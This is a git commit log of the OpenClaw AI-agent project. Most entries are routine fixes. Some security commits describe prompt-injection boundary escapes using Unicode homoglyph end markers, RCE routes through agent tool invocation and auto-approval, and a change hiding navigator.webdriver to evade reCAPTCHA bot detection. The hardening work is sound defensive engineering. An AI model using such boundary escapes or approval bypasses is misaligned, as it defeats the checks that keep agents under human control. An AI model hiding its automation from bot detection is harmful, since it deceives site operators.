* fix: restore telegram webhook host override while keeping loopback defaults (openclaw#13184) thanks @davidrudduck

* style: format telegram docs after rebase (openclaw#13184) thanks @davidrudduck

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 16:39:56 +01:00
Mariano Belinky
a17f74306d docs(changelog): note codex spark implementation and merged PR attributions 2026-02-13 15:39:26 +00:00
Peter Steinberger
5d8eef8b35 perf(test): remove module reloads in browser and embedding suites 2026-02-13 15:31:17 +00:00
davidbors-snyk
29d7839582 fix: execute sandboxed file ops inside containers (#4026)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 795ec6aa2f
Co-authored-by: davidbors-snyk <240482518+davidbors-snyk@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 16:29:10 +01:00
Peter Steinberger
1def8c5448 fix(security): extend audit hardening checks 2026-02-13 16:26:58 +01:00
Peter Steinberger
faa4959111 fix(onboard): include vllm auth group id 2026-02-13 15:23:46 +00:00
loiie45e
2e04630105 openai-codex: add gpt-5.3-codex-spark forward-compat model (#15174)
Merged via maintainer flow after rebase + local gates.

Prepared head SHA: 6cac87cbf9

Co-authored-by: loiie45e <15420100+loiie45e@users.noreply.github.com>
Co-authored-by: mbelinky <2406260+mbelinky@users.noreply.github.com>
2026-02-13 15:21:07 +00:00
Henry Loenwind
96318641d8 fix: Finish credential redaction that was merged unfinished (#13073)
* Squash

* Removed unused files

Not mine, someone merged that stuff in earlier.

* fix: patch redaction regressions and schema breakages

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 16:19:21 +01:00
Peter Steinberger
faec6ccb1d perf(test): reduce module reload churn in unit suites 2026-02-13 15:19:13 +00:00
Yi Liu
6c4c535813 fix(security): handle additional Unicode angle bracket homoglyphs in content sanitization (#14665)
* fix(security): handle additional Unicode angle bracket homoglyphs in content sanitization

The foldMarkerChar function sanitizes external content markers to
prevent prompt injection boundary escapes, but only handles fullwidth
ASCII (U+FF21-FF5A) and fullwidth angle brackets (U+FF1C/FF1E).

Add handling for additional visually similar Unicode characters that
could be used to craft fake end markers:
- Mathematical angle brackets (U+27E8, U+27E9)
- CJK angle brackets (U+3008, U+3009)
- Left/right-pointing angle brackets (U+2329, U+232A)
- Single angle quotation marks (U+2039, U+203A)
- Small less-than/greater-than signs (U+FE64, U+FE65)

* test(security): add homoglyph marker coverage

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 16:18:54 +01:00
Tonic
08b7932df0 feat(agents) : Hugging Face Inference provider first-class support and Together API fix and Direct Injection Refactor Auths [AI-assisted] (#13472)
* initial commit

* removes assesment from docs

* resolves automated review comments

* resolves lint , type , tests , refactors , and submits

* solves : why do we have to lint the tests xD

* adds greptile fixes

* solves a type error

* solves a ci error

* refactors auths

* solves a failing test after i pulled from main lol

* solves a failing test after i pulled from main lol

* resolves token naming issue to comply with better practices when using hf / huggingface

* fixes curly lints !

* fixes failing tests for google api from main

* solve merge conflicts

* solve failing tests with a defensive check 'undefined' openrouterapi key

* fix: preserve Hugging Face auth-choice intent and token behavior (#13472) (thanks @Josephrp)

* test: resolve auth-choice cherry-pick conflict cleanup (#13472)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 16:18:16 +01:00
Peter Steinberger
e50ce897b0 chore(skills): remove duplicate local-places skill 2026-02-13 16:15:47 +01:00
Peter Steinberger
4169a4df79 perf(test): remove redundant status module reloads 2026-02-13 15:11:38 +00:00
Peter Steinberger
79f4c4c584 perf(test): trim module resets in config suites 2026-02-13 15:11:38 +00:00
Peter Steinberger
a5faea614b fix(msteams): detect windows local paths for uploads 2026-02-13 15:07:31 +00:00
Abdel Fane
c60780ba20 security: enforce 0o600 permissions on WhatsApp credential files (#10529)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4f10b7dc63
Co-authored-by: abdelsfane <32418586+abdelsfane@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 16:02:15 +01:00
Peter Steinberger
945d302956 test: speed up e2e vitest runtime 2026-02-13 14:57:12 +00:00
shayan919293
ab4adf7170 fix(macos): ensure exec approval prompt displays the command (#5042)
* fix(config): migrate audio.transcription with any CLI command

Two bugs fixed:
1. Removed CLI allowlist from mapLegacyAudioTranscription - the modern
   config format has no such restriction, so the allowlist only blocked
   legacy migration of valid configs like whisperx-transcribe.sh
2. Moved audio.transcription migration to a separate migration entry -
   it was nested inside routing.config-v2 which early-exited when no
   routing section existed

Closes #5017

* fix(macos): ensure exec approval prompt displays the command

The NSStackView and NSScrollView for the command text lacked proper
width constraints, causing the accessory view to collapse to zero
width in some cases. This fix:

1. Adds minimum width constraint (380px) to the root stack view
2. Adds minimum width constraint to the command scroll view
3. Enables vertical resizing and scrolling for long commands
4. Adds max height constraint to prevent excessively tall prompts

Closes #5038

* fix: validate legacy audio transcription migration input (openclaw#5042) thanks @shayan919293

* docs: add changelog note for legacy audio migration guard (openclaw#5042) thanks @shayan919293

* fix: satisfy lint on audio transcription migration braces (openclaw#5042) thanks @shayan919293

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 15:49:06 +01:00
Peter Steinberger
a7d6e44719 perf(test): reduce test startup overhead 2026-02-13 14:48:45 +00:00
Peter Steinberger
3bcde8df32 fix: finalize vLLM onboarding integration (#12577) (thanks @gejifeng) 2026-02-13 15:48:37 +01:00
gejifeng
513fd835a1 tests: fix vLLM onboarding selection 2026-02-13 15:48:37 +01:00
gejifeng
d44c118334 fix: avoid unused custom preferred provider 2026-02-13 15:48:37 +01:00
gejifeng
e6715bcb64 format: fix onboarding.ts wrapping 2026-02-13 15:48:37 +01:00
gejifeng
03c502ef31 lint: fix unused imports and onboarding preferred provider 2026-02-13 15:48:37 +01:00
gejifeng
94d5411f11 fix: remove duplicate TOGETHER_BASE_URL 2026-02-13 15:48:37 +01:00
gejifeng
3e7956b008 fix code review 2026-02-13 15:48:37 +01:00
gejifeng
0472dd68f0 fix code review 2026-02-13 15:48:37 +01:00
gejifeng
e73d881c50 Onboarding: add vLLM provider support 2026-02-13 15:48:37 +01:00
Yaxuan42
54bf5d0f41 feat(web-fetch): support Cloudflare Markdown for Agents (#15376)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d0528dc429
Co-authored-by: Yaxuan42 <184813557+Yaxuan42@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 15:46:20 +01:00
Abdel Fane
7467fcc529 security: use openFileWithinRoot for A2UI file serving (#10525)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 64547d6f90
Co-authored-by: abdelsfane <32418586+abdelsfane@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 15:37:10 +01:00
Harald Buerbaumer
30b6eccae5 feat(gateway): add auth rate-limiting & brute-force protection (#15035)
* feat(gateway): add auth rate-limiting & brute-force protection

Add a per-IP sliding-window rate limiter to Gateway authentication
endpoints (HTTP, WebSocket upgrade, and WS message-level auth).

When gateway.auth.rateLimit is configured, failed auth attempts are
tracked per client IP. Once the threshold is exceeded within the
sliding window, further attempts are blocked with HTTP 429 + Retry-After
until the lockout period expires. Loopback addresses are exempt by
default so local CLI sessions are never locked out.

The limiter is only created when explicitly configured (undefined
otherwise), keeping the feature fully opt-in and backward-compatible.

* fix(gateway): isolate auth rate-limit scopes and normalize 429 responses

---------

Co-authored-by: buerbaumer <buerbaumer@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 15:32:38 +01:00
Peter Steinberger
9131b22a28 test: migrate suites to e2e coverage layout 2026-02-13 14:28:22 +00:00
Peter Steinberger
f5160ca6be test: add browser evaluate gate trust-boundary regression 2026-02-13 15:19:05 +01:00
Ion Mudreac
25950bcbb8 fix(sessions): normalize absolute sessionFile paths for v2026.2.12 compatibility
Older OpenClaw versions stored absolute sessionFile paths in sessions.json.
v2026.2.12 added path traversal security that rejected these absolute paths,
breaking all Telegram group handlers with 'Session file path must be within
sessions directory' errors.

Changes:
- resolvePathWithinSessionsDir() now normalizes absolute paths that resolve
  within the sessions directory, converting them to relative before validation
- Added 3 tests for absolute path handling (within dir, with topic, outside dir)

Fixes #15283
Closes #15214, #15237, #15216, #15152, #15213
2026-02-13 15:13:58 +01:00
Peter Steinberger
106d605519 fix: harden msteams mentions and fallback links (#15436) (thanks @hyojin) 2026-02-13 15:10:57 +01:00
Hyojin Kwak
604dc700a6 MSTeams: fix regex injection in mention name formatting
Escape regex metacharacters in display names before constructing RegExp
to prevent runtime errors or unintended matches when names contain special
characters like (, ), ., +, ?, [, etc.

Add test coverage for names with regex metacharacters.
2026-02-13 15:10:57 +01:00
Hyojin Kwak
73c6c80b77 Docs: add User.Read.All permission info for MS Teams user mentions
Clarify that User.Read.All permission is only needed for searching
users not in the current conversation. Mentions work out of the box
for conversation participants.
2026-02-13 15:10:57 +01:00
Hyojin Kwak
7c6d6ce06f MS Teams: add user mention support
- Add mention parsing and validation logic
- Handle mention entities with proper whitespace
- Validate mention IDs to prevent false positives from code snippets
- Use fake placeholders in tests for privacy
2026-02-13 15:10:57 +01:00
大猫子
edfdd12d37 TTS: add missing OpenAI voices (ballad, cedar, juniper, marin, verse) (openclaw#11020) thanks @lailoo
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: ${pr_author_login} <${coauthor_email}>
Co-authored-by: ${tak_name} <${tak_email}>
2026-02-13 07:54:00 -06:00
Peter Steinberger
ee31cd47b4 fix: close OC-02 gaps in ACP permission + gateway HTTP deny config (#15390) (thanks @aether-ai-agent) 2026-02-13 14:30:06 +01:00
aether-ai-agent
749e28dec7 fix(security): block dangerous tools from HTTP gateway and fix ACP auto-approval (OC-02)
Two critical RCE vectors patched:

Vector 1 - Gateway HTTP /tools/invoke:
- Add DEFAULT_GATEWAY_HTTP_TOOL_DENY blocking sessions_spawn,
  sessions_send, gateway, whatsapp_login from HTTP invocation
- Apply deny filter after existing policy cascade, before tool lookup
- Add gateway.tools.{allow,deny} config override in GatewayConfig

Vector 2 - ACP client auto-approval:
- Replace blind allow_once selection with danger-aware permission handler
- Dangerous tools (exec, sessions_spawn, etc.) require interactive confirmation
- Safe tools retain auto-approve behavior (backward compatible)
- Empty options array now denied (was hardcoded "allow")
- 30s timeout auto-denies to prevent hung sessions

CWE-78 | CVSS:3.1 9.8 Critical
2026-02-13 14:30:06 +01:00
Peter Steinberger
8899f9e94a perf(test): optimize heavy suites and stabilize lock timing 2026-02-13 13:29:07 +00:00
Peter Steinberger
8307f9738b fix: add changelog entry for signal-cli arch-aware install (#15443) (thanks @jogvan-k) 2026-02-13 14:25:26 +01:00
Harrington-bot
771c7ba14e test: add pickAsset unit tests for architecture-aware signal-cli install 2026-02-13 14:25:26 +01:00
Harrington-bot
eb4a0a84f2 fix: use Homebrew for signal-cli install on non-x64 architectures 2026-02-13 14:25:26 +01:00
Peter Steinberger
990413534a fix: land multi-agent session path fix + regressions (#15103) (#15448)
Co-authored-by: Josh Lehman <josh@martian.engineering>
2026-02-13 14:17:24 +01:00
Sebastian
5d37b204c0 Tests: disable vmForks on Node 24 and document override 2026-02-13 08:15:25 -05:00
JINNYEONG KIM
94763cd87d Fix OpenAI/Codex tool call id sanitization for transcript policy (#15279) 2026-02-13 11:39:51 +00:00
loiie45e
07faab6ac3 openai-codex: bridge OAuth profiles into pi auth.json for model discovery (#15184) 2026-02-13 11:39:37 +00:00
Lucky
e3cb2564d7 Agents: allow gpt-5.3-codex-spark in fallback and thinking (#14990)
* Agents: allow gpt-5.3-codex-spark in fallback and thinking

* Fix: model picker issue for openai-codex/gpt-5.3-codex-spark

Fixed an issue in the model picker.
2026-02-13 11:39:22 +00:00
Peter Steinberger
417509c539 test: stabilize local-timestamp assertion in session resets 2026-02-13 04:58:11 +00:00
Peter Steinberger
67251e97bd fix(ci): sync extension versions to root release (#15199) 2026-02-13 05:54:03 +01:00
青雲
fd076eb43a fix: /status shows incorrect context percentage — totalTokens clamped to contextTokens (#15114) (#15133)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a489669fc7
Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 23:52:19 -05:00
Masataka Shinohara
b93ad2cd48 fix(slack): populate thread session with existing thread history (#7610)
* feat(slack): populate thread session with existing thread history

When a new session is created for a Slack thread, fetch and inject
the full thread history as context. This preserves conversation
continuity so the bot knows what it previously said in the thread.

- Add resolveSlackThreadHistory() to fetch all thread messages
- Add ThreadHistoryBody to context payload
- Use thread history instead of just thread starter for new sessions

Fixes #4470

* chore: remove redundant comments

* fix: use threadContextNote in queue body

* fix(slack): address Greptile review feedback

- P0: Use thread session key (not base session key) for new-session check
  This ensures thread history is injected when the thread session is new,
  even if the base channel session already exists.

- P1: Fetch up to 200 messages and take the most recent N
  Slack API returns messages in chronological order (oldest first).
  Previously we took the first N, now we take the last N for relevant context.

- P1: Batch resolve user names with Promise.all
  Avoid N sequential API calls when resolving user names in thread history.

- P2: Include file-only messages in thread history
  Messages with attachments but no text are now included with a placeholder
  like '[attached: image.png, document.pdf]'.

- P2: Add documentation about intentional 200-message fetch limit
  Clarifies that we intentionally don't paginate; 200 covers most threads.

* style: add braces for curly lint rule

* feat(slack): add thread.initialHistoryLimit config option

Allow users to configure the maximum number of thread messages to fetch
when starting a new thread session. Defaults to 20. Set to 0 to disable
thread history fetching entirely.

This addresses the optional configuration request from #2608.

* chore: trigger CI

* fix(slack): ensure isNewSession=true on first thread turn

recordInboundSession() in prepare.ts creates the thread session entry
before session.ts reads the store, causing isNewSession to be false
on the very first user message in a thread. This prevented thread
context (history/starter) from being injected.

Add IsFirstThreadTurn flag to message context, set when
readSessionUpdatedAt() returns undefined for the thread session key.
session.ts uses this flag to force isNewSession=true.

* style: format prepare.ts for oxfmt

* fix: suppress InboundHistory/ThreadStarterBody when ThreadHistoryBody present (#13912)

When ThreadHistoryBody is fetched from the Slack API (conversations.replies),
it already contains pending messages and the thread starter. Passing both
InboundHistory and ThreadStarterBody alongside ThreadHistoryBody caused
duplicate content in the LLM context on new thread sessions.

Suppress InboundHistory and ThreadStarterBody when ThreadHistoryBody is
present, since it is a strict superset of both.

* remove verbose comment

* fix(slack): paginate thread history context fetch

* fix(slack): wire session file path options after main merge

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 05:51:04 +01:00
Peter Steinberger
daf13dbb06 fix: enforce feishu dm policy + pairing flow (#14876) (thanks @coygeek) 2026-02-13 05:48:22 +01:00
Coy Geek
f05553413d fix(aa-01): apply security fix
Generated by staged fix workflow.
2026-02-13 05:48:22 +01:00
Peter Steinberger
78ec0a1edf fix: stabilize test runner and daemon-cli compat 2026-02-13 04:45:04 +00:00
Peter Steinberger
ba7dccc49d test: speed up test suite and trim redundant onboarding tests 2026-02-13 04:30:48 +00:00
Gustavo Madeira Santana
ac41176532 Auto-reply: fix non-default agent session transcript path resolution (#15154)
* Auto-reply: fix non-default agent transcript path resolution

* Auto-reply: harden non-default agent transcript lookups

* Auto-reply: harden session path resolution across agent stores
2026-02-12 23:23:12 -05:00
Peter Steinberger
79a38858ae fix: preserve off-mode semantics in auto reply threading (#14976) (thanks @Diaspar4u) 2026-02-13 05:22:14 +01:00
Andrey
3d89f0f14a fix(reply): auto-inject replyToCurrent for reply threading
replyToMode "first"/"all" only filters replyToId but never generates
it — that required the LLM to emit [[reply_to_current]] tags. Inject
replyToCurrent:true on all payloads so applyReplyTagsToPayload sets
replyToId=currentMessageId, then let the existing mode filter decide
which replies keep threading (first only, all, or off).

Covers both final reply path (reply-payloads.ts) and block streaming
path (agent-runner-execution.ts).
2026-02-13 05:22:14 +01:00
Marcus Castro
39ee708df6 fix(outbound): return error instead of silently redirecting to allowList[0] (#13578) 2026-02-13 05:20:03 +01:00
Peter Steinberger
a43136c85e fix: align slack thread footer metadata with reply semantics (#14625) (thanks @bennewton999) 2026-02-13 05:18:06 +01:00
Ben Newton
2b9d5e6e30 feat(slack): include thread metadata (thread_ts, parent_user_id) in agent context
Adds thread_ts and parent_user_id to the Slack message footer for thread
replies, giving agents awareness of thread context. Top-level messages
remain unchanged.

Includes tests verifying:
- Thread replies include thread_ts and parent_user_id in footer
- Top-level messages exclude thread metadata
2026-02-13 05:18:06 +01:00
seheepeak
23e4183608 fix(sandbox): force network bridge for browser container (#6961) 2026-02-13 05:17:17 +01:00
dirbalak
ae7e377747 feat(ui): add RTL support for Hebrew/Arabic text in webchat (openclaw#11498) thanks @dirbalak
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: dirbalak <30323349+dirbalak@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 22:15:20 -06:00
Kentaro Kuribayashi
c6ecd2a044 fix: replace file-based session store lock with in-process Promise chain mutex (#14498)
* fix: replace file-based session store lock with in-process Promise chain mutex

Node.js is single-threaded, so file-based locking (open('wx') + polling +
stale eviction) is unnecessary and causes timeouts under heavy session load.

Replace with a simple per-storePath Promise chain that serializes access
without any filesystem overhead.

In a 1159-session environment over 3 hours:
- Lock timeouts: 25
- Stuck sessions: 157 (max 1031s, avg 388s)
- Slow listeners: 39 (max 265s, avg 70s)

Root cause: during sessions.json file I/O, await yields control and other
lock requests hit the 10s timeout waiting for the .lock file to be released.

* test: add comprehensive tests for Promise chain mutex lock

- Concurrent access serialization (10 parallel writers, counter integrity)
- Error resilience (single & multiple consecutive throws don't poison queue)
- Independent storePath parallelism (different paths run concurrently)
- LOCK_QUEUES cleanup after completion and after errors
- No .lock file created on disk

Also fix: store caught promise in LOCK_QUEUES to avoid unhandled rejection
warnings when queued fn() throws.

* fix: add timeout to Promise chain mutex to prevent infinite hangs on Windows

* fix(session-store): enforce strict queue timeout + cross-process lock

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 05:12:59 +01:00
Marcus Castro
13bfd9da83 fix: thread replyToId and threadId through message tool send action (#14948)
* fix: thread replyToId and threadId through message tool send action

* fix: omit replyToId/threadId from gateway send params

* fix: add threading seam regression coverage (#14948) (thanks @mcaxtr)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 04:55:20 +01:00
Tulsi Prasad
8c920b9a18 fix(docs): remove hardcoded Mermaid init blocks that break dark mode (#15157)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3239baaf15
Co-authored-by: heytulsiprasad <52394293+heytulsiprasad@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-12 22:48:26 -05:00
Marcus Castro
e355f6e093 fix(security): distinguish webhooks from internal hooks in audit summary (#13474)
* fix(security): distinguish webhooks from internal hooks in audit summary

The attack surface summary reported a single 'hooks: disabled/enabled' line
that only checked the external webhook endpoint (hooks.enabled), ignoring
internal hooks (hooks.internal.enabled). Users who enabled internal hooks
(session-memory, command-logger, etc.) saw 'hooks: disabled' and thought
something was broken.

Split into two separate lines:
- hooks.webhooks: disabled/enabled
- hooks.internal: disabled/enabled

Fixes #13466

* test(security): move attack surface tests to focused test file

Move the 3 new hook-distinction tests from the monolithic audit.test.ts
(1,511 lines) into a dedicated audit-extra.sync.test.ts that tests
collectAttackSurfaceSummaryFindings directly. Avoids growing the
already-large test file and keeps tests focused on the changed unit.

* fix: add changelog entry for security audit hook split (#13474) (thanks @mcaxtr)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 04:46:27 +01:00
Marcus Castro
e90caa66d8 fix(exec): allow heredoc operator (<<) in allowlist security mode (#13811)
* fix(exec): allow heredoc operator (<<) in allowlist security mode

* fix: allow multiline heredoc parsing in exec approvals (#13811) (thanks @mcaxtr)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 04:41:51 +01:00
Peter Steinberger
7c25696ab0 fix(config): enforce default-free persistence in write path 2026-02-13 04:41:04 +01:00
Marcus Castro
2a9745c9a1 fix(config): redact resolved field in config snapshots
The newly added 'resolved' field contains secrets after ${ENV}
substitution. This commit ensures redactConfigSnapshot also redacts
the resolved field to prevent credential leaks in config.get responses.
2026-02-13 04:41:04 +01:00
Marcus Castro
3189e2f11b fix(config): add resolved field to ConfigFileSnapshot for pre-defaults config
The initial fix using snapshot.parsed broke configs with $include directives.
This commit adds a new 'resolved' field to ConfigFileSnapshot that contains
the config after $include and ${ENV} substitution but BEFORE runtime defaults
are applied. This is now used by config set/unset to avoid:
1. Breaking configs with $include directives
2. Leaking runtime defaults into the written config file

Also removes applyModelDefaults from writeConfigFile since runtime defaults
should only be applied when loading, not when writing.
2026-02-13 04:41:04 +01:00
Marcus Castro
9e8d9f114d fix(cli): use raw config instead of runtime-merged config in config set/unset
Fixes #6070

The config set/unset commands were using snapshot.config (which contains
runtime-merged defaults) instead of snapshot.parsed (the raw user config).
This caused runtime defaults like agents.defaults to leak into the written
config file when any value was set or unset.

Changed both set and unset commands to use structuredClone(snapshot.parsed)
to preserve only user-specified config values.
2026-02-13 04:41:04 +01:00
George Pickett
a067565db5 fix: pass sandbox docker env into containers (#15138) (thanks @stevebot-alive) 2026-02-12 19:39:22 -08:00
Steve (OpenClaw)
92567765e6 fix(sandbox): pass docker.env into sandbox container 2026-02-12 19:39:22 -08:00
Joseph Krug
40aff672c1 fix: prevent heartbeat scheduler silent death from wake handler race (#15108)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fd7165b935
Co-authored-by: joeykrug <5925937+joeykrug@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-12 22:30:21 -05:00
Marcus Castro
ec44e262be fix(security): prevent String(undefined) coercion in credential inputs (#12287)
* fix(security): prevent String(undefined) coercion in credential inputs

When a prompter returns undefined (due to cancel, timeout, or bug),
String(undefined).trim() produces the literal string "undefined" instead
of "". This truthy string prevents secure fallbacks from triggering,
allowing predictable credential values (e.g., gateway password = "undefined").

Fix all 8 occurrences by using String(value ?? "").trim(), which correctly
yields "" for null/undefined inputs and triggers downstream validation or
fallback logic.

Fixes #8054

* fix(security): also fix String(undefined) in api-provider credential inputs

Address codex review feedback: 4 additional occurrences of the unsafe
String(variable).trim() pattern in auth-choice.apply.api-providers.ts
(Cloudflare Account ID, Gateway ID, synthetic API key inputs + validators).

* fix(test): strengthen password coercion test per review feedback

* fix(security): harden credential prompt coercion

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 04:25:05 +01:00
Peter Steinberger
63bb1e02b0 chore(release): bump version to 2026.2.13 2026-02-13 04:13:07 +01:00
Peter Steinberger
711597c02b fix(update): repair daemon-cli compat exports after self-update 2026-02-13 04:08:13 +01:00
Flash-LHR
c32b92b7a5 fix(macos): prevent Voice Wake crash on CJK trigger transcripts (openclaw#11052) thanks @Flash-LHR
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: Flash-LHR <47357603+Flash-LHR@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:36:14 -06:00
Marcus Castro
585c9a7265 fix(session): preserve verbose/thinking/tts overrides across /new and /reset (openclaw#10881) thanks @mcaxtr
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:27:12 -06:00
Peter Steinberger
cd50b5ded2 fix(onboarding): exit cleanly after web ui hatch 2026-02-13 03:20:32 +01:00
LeftX
65be9ccf63 feat(feishu): add streaming card support via Card Kit API (openclaw#10379) thanks @xzq-xu
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: xzq-xu <53989315+xzq-xu@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:19:27 -06:00
Peter Steinberger
d8d69ccbf4 chore: update appcast for 2026.2.12 2026-02-13 03:18:24 +01:00
Sk Akram
7cbf607a8f feat: expose /compact command in Telegram native menu (openclaw#10352) thanks @akramcodez
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:17:25 -06:00
Milofax
89503e1451 fix(browser): hide navigator.webdriver from reCAPTCHA v3 detection (openclaw#10735) thanks @Milofax
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: Milofax <2537423+Milofax@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:16:28 -06:00
JustasM
57d0f65e7d CLI: add plugins uninstall command (#5985) (openclaw#6141) thanks @JustasMonkev
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: JustasMonkev <59362982+JustasMonkev@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-12 20:11:26 -06:00
Shadow
e982489f77 Changelog: note Discord admin permission fix 2026-02-12 19:53:34 -06:00
Shadow
34c304727b Discord: honor Administrator in permission checks 2026-02-12 19:53:22 -06:00
Shadow
22fe30c1df fix: add discord role allowlists (#10650) (thanks @Minidoracat) 2026-02-12 19:52:24 -06:00
Minidoracat
f7adc21d31 fix: exclude role-restricted bindings from guild-only matching 2026-02-12 19:52:24 -06:00
Minidoracat
e084f07420 fix: add missing role-based type definitions for RBAC routing 2026-02-12 19:52:24 -06:00
Minidoracat
ad508c8c89 fix: use member.roles as string[] per Discord API types 2026-02-12 19:52:24 -06:00
Minidoracat
e1e6e3f477 fix: add curly braces to resolve-route.ts for eslint(curly) compliance 2026-02-12 19:52:24 -06:00
Minidoracat
4bf06e7824 Discord: add unit tests for role-based agent routing 2026-02-12 19:52:24 -06:00
Minidoracat
334a291fb7 Discord: pass member role IDs to agent route resolution 2026-02-12 19:52:24 -06:00
Minidoracat
75fc8cf25c Discord: implement role-based agent routing in resolveAgentRoute 2026-02-12 19:52:24 -06:00
Minidoracat
4c0ce46ac3 Discord: implement role allowlist with OR logic in preflight 2026-02-12 19:52:24 -06:00
Peter Steinberger
8ff89ba14c fix(ci): resolve windows test path assertion and sync protocol swift models 2026-02-13 02:39:34 +01:00
Tak Hoffman
89bfe0c944 fix: add adapter-path after_tool_call coverage (follow-up to #15012) (#15105) 2026-02-12 19:39:23 -06:00
Tak Hoffman
1d8bda4a21 fix: emit message_sent hook for all successful outbound paths (#15104) 2026-02-12 19:39:09 -06:00
Peter Steinberger
f9e444dd56 fix: include plugin sdk dts tsconfig in onboard docker image 2026-02-13 02:37:28 +01:00
Tak Hoffman
e103991b6a fix: remove accidental root package-lock.json (#15102) 2026-02-12 19:24:07 -06:00
Peter Steinberger
83662ba5bb test: stabilize telegram media timing tests 2026-02-13 02:13:15 +01:00
Peter Steinberger
3421b2ec1e fix: harden hook session key routing defaults 2026-02-13 02:09:14 +01:00
Peter Steinberger
0a7201fa84 docs: add Windows installer debug equivalents 2026-02-13 02:07:03 +01:00
Peter Steinberger
9230a2ae14 fix(browser): require auth on control HTTP and auto-bootstrap token 2026-02-13 02:02:28 +01:00
Peter Steinberger
85409e401b fix: preserve inter-session input provenance (thanks @anbecker) 2026-02-13 02:02:01 +01:00
Arkadiusz Mastalerz
7081dee1af fix(media): strip audio attachments after successful transcription (openclaw#9076) thanks @nobrainer-tech
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test (fails in known unrelated telegram suite)
- pnpm vitest run src/auto-reply/media-note.test.ts src/auto-reply/reply.media-note.test.ts

Co-authored-by: nobrainer-tech <445466+nobrainer-tech@users.noreply.github.com>
2026-02-12 19:01:53 -06:00
Tak Hoffman
a6003d6711 Changelog: add missing entries for #14882 and #15012 2026-02-12 18:56:34 -06:00
Shadow
926bf84772 fix: update replyToMode notes (#11062) (thanks @cordx56) 2026-02-12 18:50:36 -06:00
CHISEN Kaoru
e25ae55879 fix(discord): replyToMode first behaviour 2026-02-12 18:50:36 -06:00
CHISEN Kaoru
4b3c9c9c5a fix(discord): respect replyToMode in thread channel 2026-02-12 18:50:36 -06:00
Patrick Barletta
d34138dfee fix: dispatch before_tool_call and after_tool_call hooks from both tool execution paths (openclaw#15012) thanks @Patrick-Barletta
Verified:
- pnpm check

Co-authored-by: Patrick-Barletta <67929313+Patrick-Barletta@users.noreply.github.com>
2026-02-12 18:48:11 -06:00
Ember 🔥
da2d09f57a fix(memory-flush): instruct agents to append rather than overwrite memory files (openclaw#6878) thanks @EmberCF
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test (fails on unrelated existing telegram test file)

Co-authored-by: EmberCF <258471336+EmberCF@users.noreply.github.com>
2026-02-12 18:47:43 -06:00
cpojer
7b34b46363 chore: Update deps. 2026-02-13 09:43:41 +09:00
Peter Steinberger
99f28031e5 fix: harden OpenResponses URL input fetching 2026-02-13 01:38:49 +01:00
Peter Steinberger
4199f9889f fix: harden session transcript path resolution 2026-02-13 01:28:17 +01:00
